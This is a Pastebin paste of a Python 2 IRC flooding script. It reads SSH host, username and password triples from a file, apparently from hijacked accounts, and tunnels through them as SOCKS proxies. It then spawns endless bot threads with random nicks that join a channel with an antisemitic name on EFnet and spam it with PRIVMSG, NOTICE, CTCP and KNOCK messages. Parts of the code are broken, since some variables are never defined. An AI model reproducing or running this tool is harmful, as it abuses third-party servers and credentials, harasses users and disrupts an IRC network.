Advertisement
Guest User

Untitled

a guest
May 2nd, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.56 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.efnet.org'
  11. port = 6667
  12. channel = '#jewz'
  13.  
  14. accounts = 'accounts.txt'
  15. baseport = 9050
  16. maxletters = 7
  17. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  18. acctfile = open(accounts,'r')
  19. lines=0
  20. ssh_pid = 0
  21. for line in acctfile:
  22.   ssh_data = line
  23.   ssh_exploded = ssh_data.split(',')
  24.   ssh_host = ssh_exploded[0]
  25.   ssh_user = ssh_exploded[1]
  26.   ssh_pass = ssh_exploded[2]
  27.   ssh_port = ssh_exploded[3]
  28.   ssh_pid = os.fork()
  29.   if not ssh_pid:
  30.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  31.     break
  32.   else:
  33.     lines += 1
  34. if ssh_pid:
  35.   acctfile.close()
  36.  
  37. class bot(Thread):
  38.   def __init__ (self,seed):
  39.     Thread.__init__(self)
  40.     self.seed = seed
  41.  
  42.   def run(self):
  43.     nick=''
  44.     joined=0
  45.     for x in random.sample(alphabet,random.randint(2,maxletters)):
  46.       nick+=x
  47.     irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  48.     irc.setblocking( 1 )
  49.     irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  50.     irc.connect ( ( network, port ) )
  51.     irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  52.     irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  53.     irc.send ( 'JOIN ' + channel + '\r\n' )
  54.     while True:
  55.       inbound+=irc.recv( 1024 )
  56.       if inbound.find ( '\r\n' ) != -1:
  57.         data = inbound
  58.         inbound = ''
  59.       if data.find ( 'PING' ) != -1:
  60.         irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  61.       if data.find ( '404' ) != -1:
  62.         joined = 0
  63.       if data.find ( '473' ) != -1:
  64.         irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  65.       if data.find ( 'randnick' ) != -1:
  66.         nick=''
  67.         for x in random.sample(alphabet,random.randint(2,maxletters)):
  68.           nick+=x
  69.         irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  70.       if joined == 0:
  71.         irc.send ( 'JOIN ' + channel + '\r\n' )
  72.         joined = 1
  73.         time.sleep ( .5 )
  74.       if joined == 1:
  75.         irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  76.         irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  77.         irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\r\n' )
  78.         time.sleep ( .5 )
  79.  
  80. def spawn():
  81.   while True:
  82.     bot_instance = bot(str(random.randint(1,9999)))
  83.     bot_instance.start()
  84.  
  85. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement